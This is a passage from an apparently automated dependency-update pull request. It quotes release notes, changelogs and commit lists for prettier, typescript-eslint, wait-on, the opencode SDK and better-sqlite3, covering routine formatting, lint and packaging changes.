href=\"https://github.com/prettier/prettier/blob/3.9.3/CHANGELOG.md#393\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCLI: Fix ignored file has been cached incorrectly (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19483\"\u003e#19483\u003c/a\u003e by \u003ca href=\"https://github.com/kovsu\"\u003e\u003ccode\u003e@​kovsu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.1/CHANGELOG.md#391\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.0\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.8.5...3.9.0\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://prettier.io/blog/2026/06/27/3.9.0\"\u003ePrettier 3.9: Major parser upgrades and Formatting improvements\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.8.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix Flow variance annotation print (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19022\"\u003e#19022\u003c/a\u003e by \u003ca href=\"https://github.com/marcoww6\"\u003e\u003ccode\u003e@​marcoww6\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.8.5/CHANGELOG.md#385\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.8.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix blank lines between list items and nested sub-lists being removed in Markdown/MDX (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/17746\"\u003eprettier/prettier#17746\u003c/a\u003e by \u003ca href=\"https://github.com/byplayer\"\u003e\u003ccode\u003e@​byplayer\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.8.4/CHANGELOG.md#384\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.8.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSCSS: Prevent trailing comma in \u003ccode\u003eif()\u003c/code\u003e function (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/18471\"\u003eprettier/prettier#18471\u003c/a\u003e by \u003ca href=\"https://github.com/kovsu\"\u003e\u003ccode\u003e@​kovsu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.8.3/CHANGELOG.md#383\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.5\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.4...3.9.5\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Cap ordered list mark at 999,999,999 (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19351\"\u003e#19351\u003c/a\u003e by \u003ca href=\"https://github.com/tats-u\"\u003e\u003ccode\u003e@​tats-u\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eCommonMark parsers only support ordered list item numbers up to 999,999,999.\u003c/p\u003e\n\u003cp\u003eWith this change, Prettier now caps the ordered list item number at 999,999,999 to ensure that the output is correctly parsed as an ordered list by CommonMark parsers. Numbers larger than 999,999,999 are not parsed as list item numbers and are left unchanged in the output:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"markdown\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n999999998. text\n999999998. text\n999999998. text\n999999998. text\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n999999998. text\n999999999. text\n1000000000. text\n1000000001. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n999999998. text\n999999999. text\n999999999. text\n999999999. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Avoid corrupting empty link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19487\"\u003e#19487\u003c/a\u003e by \u003ca href=\"https://github.com/andersk\"\u003e\u003ccode\u003e@​andersk\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eDo not remove \u003ccode\u003e\u0026lt;\u0026gt;\u003c/code\u003e from an inline link or image with an empty URL and a title, as this removal would change its interpretation.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"md\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n[link](https://github.com/prettier/prettier/blob/main/\u0026lt;\u0026gt; \u0026quot;title\u0026quot;)\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n[link](\u003ca href=\"https://github.com/prettier/prettier/blob/main/\"\u003ehttps://github.com/prettier/prettier/blob/main/\u003c/a\u003e \u0026quot;title\u0026quot;)\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/b6c7d1806807162658fd5694d002b54b778c3756\"\u003e\u003ccode\u003eb6c7d18\u003c/code\u003e\u003c/a\u003e Release 3.9.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cd54ccc7288f2a4585ba5bf96883e2ed3b18e781\"\u003e\u003ccode\u003ecd54ccc\u003c/code\u003e\u003c/a\u003e Avoid corrupting empty Markdown link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19487\"\u003e#19487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/2bb67ce8cd326dbaccbdec97e7578985f6009a14\"\u003e\u003ccode\u003e2bb67ce\u003c/code\u003e\u003c/a\u003e Preserving comments' \u003ccode\u003eplacement\u003c/code\u003e property (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19567\"\u003e#19567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/91bcac88ec1d784767ebbf5ec4686a5dbf37c3c1\"\u003e\u003ccode\u003e91bcac8\u003c/code\u003e\u003c/a\u003e Add more tests for comment-only object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19587\"\u003e#19587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cbee7377a1875686558bfc9416b789d66771d9e7\"\u003e\u003ccode\u003ecbee737\u003c/code\u003e\u003c/a\u003e Remove space in empty object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19583\"\u003e#19583\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/6394c732090efdf7798e0c8dc44c46583b4131c3\"\u003e\u003ccode\u003e6394c73\u003c/code\u003e\u003c/a\u003e Align empty module declaration with TS (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19568\"\u003e#19568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/a4e6f7a0264bad45f3c153773111f60a5d406d55\"\u003e\u003ccode\u003ea4e6f7a\u003c/code\u003e\u003c/a\u003e Prevent the addition of space in \u003ccode\u003etype()\u003c/code\u003e with \u003ccode\u003e+\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19516\"\u003e#19516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/3d063b57b1a2fdc660341b6e1c719e09997cc72c\"\u003e\u003ccode\u003e3d063b5\u003c/code\u003e\u003c/a\u003e Ignore dangling comments when checking type parameter comments (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19572\"\u003e#19572\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/908503e9ee02718ef0ec21a023f2c0fd5fb00603\"\u003e\u003ccode\u003e908503e\u003c/code\u003e\u003c/a\u003e Handle dangling comments in \u003ccode\u003eSwitchStatement\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19581\"\u003e#19581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/943a475c3592149aad6062ad235338da548365ea\"\u003e\u003ccode\u003e943a475\u003c/code\u003e\u003c/a\u003e Angular: Support expression for exhaustive typechecking (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19571\"\u003e#19571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/prettier/compare/3.8.2...3.9.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript-eslint` from 8.58.1 to 8.64.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003etypescript-eslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.64.0\u003c/h2\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport parsing \u003ccode\u003eimport defer\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12513\"\u003e#12513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarations and deprecate the rule (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12500\"\u003e#12500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e throw for invalid definite assignment in class properties (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12543\"\u003e#12543\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] handle constrained arrays (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12512\"\u003e#12512\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.63.0\u003c/h2\u003e\n\u003ch2\u003e8.63.0 (2026-07-06)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-misused-promises] detect async usage of a sync dispose usage (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12426\"\u003e#12426\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12447\"\u003e#12447\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12446\"\u003e#12446\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12491\"\u003e#12491\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12485\"\u003e#12485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-base-to-string] don't flag a shadowed String() call (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12492\"\u003e#12492\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escope-manager:\u003c/strong\u003e export ClassStaticBlockScope (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12460\"\u003e#12460\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKristjan \u003ca href=\"https://github.com/KristjanTammekivi\"\u003e\u003ccode\u003e@​KristjanTammekivi\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMichael Naumov \u003ca href=\"https://github.com/mnaoumov\"\u003e\u003ccode\u003e@​mnaoumov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSerhii Leniv \u003ca href=\"https://github.com/Serhii-Leniv\"\u003e\u003ccode\u003e@​Serhii-Leniv\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.63.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.62.1\u003c/h2\u003e\n\u003ch2\u003e8.62.1 (2026-06-29)\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md\"\u003etypescript-eslint's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.63.0 (2026-07-06)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.63.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.62.1 (2026-06-29)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.62.0 (2026-06-22)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eremove redundant package.json \u0026quot;files\u0026quot; (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12444\"\u003e#12444\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKirk Waiblinger \u003ca href=\"https://github.com/kirkwaiblinger\"\u003e\u003ccode\u003e@​kirkwaiblinger\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.61.1 (2026-06-15)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.61.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.61.0 (2026-06-08)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/414d9abbf66f77796ab12ec7e75b07722e592832\"\u003e\u003ccode\u003e414d9ab\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.64.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/290cf6cdcc5ffb00c5b8f3e1e0e9f2fd8cc96374\"\u003e\u003ccode\u003e290cf6c\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.63.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/3ea32f4ba5e196c08c6da1095619d7f65ba4905e\"\u003e\u003ccode\u003e3ea32f4\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.62.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/54e285728e5d8cb83fadb8041189f0c3b4ab436a\"\u003e\u003ccode\u003e54e2857\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.62.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/81e4c2654c3f4d923766a888691add2c45b5d64a\"\u003e\u003ccode\u003e81e4c26\u003c/code\u003e\u003c/a\u003e feat: remove redundant package.json \u0026quot;files\u0026quot; (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12444\"\u003e#12444\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/aaad7187b529c4b6ff8088ffd7e948c69c2763b6\"\u003e\u003ccode\u003eaaad718\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.61.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/16a5b247affc32af21b695cf96dfd75d7ded50a3\"\u003e\u003ccode\u003e16a5b24\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.61.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/4f84a697aedc436559c3ae09b5b357d98b448d68\"\u003e\u003ccode\u003e4f84a69\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.60.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/1849b530c254fb4f89d7270160f3a998e4acd964\"\u003e\u003ccode\u003e1849b53\u003c/code\u003e\u003c/a\u003e chore: typecheck using tsgo (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12139\"\u003e#12139\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/f891c29de5f3e23f3d8c59cc599d3196e54e9b58\"\u003e\u003ccode\u003ef891c29\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.60.0\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.64.0/packages/typescript-eslint\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `wait-on` from 9.0.5 to 9.0.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jeffbski/wait-on/releases\"\u003ewait-on's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev9.0.10\u003c/h2\u003e\n\u003cp\u003eCleaned up unnecessary files from npm published package, added code coverage\u003c/p\u003e\n\u003cp\u003eRemoved:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e.fastembed_cache\u003c/li\u003e\n\u003cli\u003e.github\u003c/li\u003e\n\u003cli\u003e.nyc_output\u003c/li\u003e\n\u003cli\u003ecoverage\u003c/li\u003e\n\u003cli\u003e.editorconfig\u003c/li\u003e\n\u003cli\u003e.nycrc.json\u003c/li\u003e\n\u003cli\u003e.prettierrc.js\u003c/li\u003e\n\u003cli\u003eeslint.config.mjs\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIncreased code coverage\u003c/p\u003e\n\u003cp\u003eThanks \u003ca href=\"https://github.com/aarongoldenthal\"\u003e\u003ccode\u003e@​aarongoldenthal\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.6\u003c/h2\u003e\n\u003cp\u003eUpdate minor deps for security vulnerabilities\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eaxios\n\u003cul\u003e\n\u003cli\u003efollow-redirects\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003ejoi\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/27d5744b183fb4cf124ffc62281b2c52bfe5cd78\"\u003e\u003ccode\u003e27d5744\u003c/code\u003e\u003c/a\u003e 9.0.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/c7c97dfd2088d69a468c6fbce03d8837436a022d\"\u003e\u003ccode\u003ec7c97df\u003c/code\u003e\u003c/a\u003e correct .npmignore for .prettierrc.js\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/c1522520b6fb2351ddaefc6ef9f79b15a2700275\"\u003e\u003ccode\u003ec152252\u003c/code\u003e\u003c/a\u003e 9.0.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/95f01cd77c661cde681dbc57e4dbcdbd11903c26\"\u003e\u003ccode\u003e95f01cd\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jeffbski/wait-on/issues/210\"\u003e#210\u003c/a\u003e from jeffbski/cleanup-more-npm-publish\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/d45cff39d725bc8354b62c7104c435c2591e0e13\"\u003e\u003ccode\u003ed45cff3\u003c/code\u003e\u003c/a\u003e more npm publish cleanup\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/bab38d287551a3e4ad42313b8bf2fd51607b7be2\"\u003e\u003ccode\u003ebab38d2\u003c/code\u003e\u003c/a\u003e 9.0.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/0ab94732f48c2b730906d8a4c1f8933e8998a8a9\"\u003e\u003ccode\u003e0ab9473\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jeffbski/wait-on/issues/209\"\u003e#209\u003c/a\u003e from jeffbski/exclude-coverage\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/881dfaa01262068519b93ae0635c695469aff123\"\u003e\u003ccode\u003e881dfaa\u003c/code\u003e\u003c/a\u003e also exclude .nyc_output and coverage from npm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/e3dad371c52a97b59439134dac08e6f2bc005f40\"\u003e\u003ccode\u003ee3dad37\u003c/code\u003e\u003c/a\u003e 9.0.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/5a681e5e5ab2cc523ba43f83c530ff71a8cba29d\"\u003e\u003ccode\u003e5a681e5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jeffbski/wait-on/issues/208\"\u003e#208\u003c/a\u003e from jeffbski/exclude-fastembed-cache-from-npm-publish\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jeffbski/wait-on/compare/v9.0.5...v9.0.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@opencode-ai/sdk` from 1.14.18 to 1.17.20\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/sst/opencode-sdk-js/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `better-sqlite3` from 12.8.0 to 12.11.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/releases\"\u003ebetter-sqlite3's 